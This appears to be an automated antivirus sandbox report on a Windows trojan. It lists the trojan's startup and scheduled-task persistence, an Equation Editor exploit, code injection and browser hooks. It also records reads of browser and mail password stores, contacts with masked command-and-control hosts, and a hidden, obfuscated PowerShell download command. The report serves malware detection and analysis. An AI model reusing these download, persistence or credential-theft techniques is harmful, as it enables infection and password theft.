Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\eifrfbir.lnk
- <SYSTEM32>\tasks\opera scheduled autoupdate 3131961357
Malicious functions
Creates and executes the following
- '' (downloaded from the Internet)
Creates and executes the following (exploit)
- 'C:\users\public\69577.exe'
Downloads and executes
- http://nb#.##zzhost.com/a/cfsm.txt as %temp%\ibhhcdaf.exe
Injects code into
the following system processes:
- <SYSTEM32>\taskeng.exe
the following user processes:
- wteugstt.exe
Hooks functions
in browsers
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- C:\users\public\69577.exe
- %TEMP%\ibhhcdaf.exe
- %APPDATA%\microsoft\windows\eifrfbir\wteugstt.exe
- %APPDATA%\microsoft\windows\eifrfbir\eifrfbir
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\952d.tmp
- %TEMP%\953d.tmp
- %TEMP%\95ea.tmp
- %TEMP%\95fb.tmp
Sets the 'hidden' attribute to the following files
- %APPDATA%\microsoft\windows\eifrfbir\wteugstt.exe
- %APPDATA%\microsoft\windows\eifrfbir\eifrfbir
Deletes the following files
- %TEMP%\ibhhcdaf.exe
- %TEMP%\952d.tmp
- %TEMP%\953d.tmp
- %TEMP%\95ea.tmp
- %TEMP%\95fb.tmp
Network activity
Connects to
- 'bi#.ly':80
- 'u.##knik.io':443
- 'nb#.##zzhost.com':80
- 'ms###csi.com':80
- 'cf###rthome.net':80
- 'oc##.#tartssl.com':80
TCP
HTTP POST requests
- http://cf###rthome.net/1/
UDP
- DNS ASK bi#.ly
- DNS ASK u.##knik.io
- DNS ASK nb#.##zzhost.com
- DNS ASK cf###rthome.net
- DNS ASK st####.rapidssl.com
- DNS ASK oc##.#tartssl.com
Miscellaneous
Creates and executes the following
- '%TEMP%\ibhhcdaf.exe'
- '%APPDATA%\microsoft\windows\eifrfbir\wteugstt.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' PowERsHEL`l -ExecutionPolicy Bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAo...' (with hidden window)
- '%APPDATA%\microsoft\windows\eifrfbir\wteugstt.exe' ' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\explorer.exe'
- '<SYSTEM32>\taskeng.exe' {89904BE0-66CD-4155-A5AD-E4110EF75DB4} S-1-5-21-1960123792-2022915161-3775307078-1001:lhhtgrlg\user:Interactive:[1]
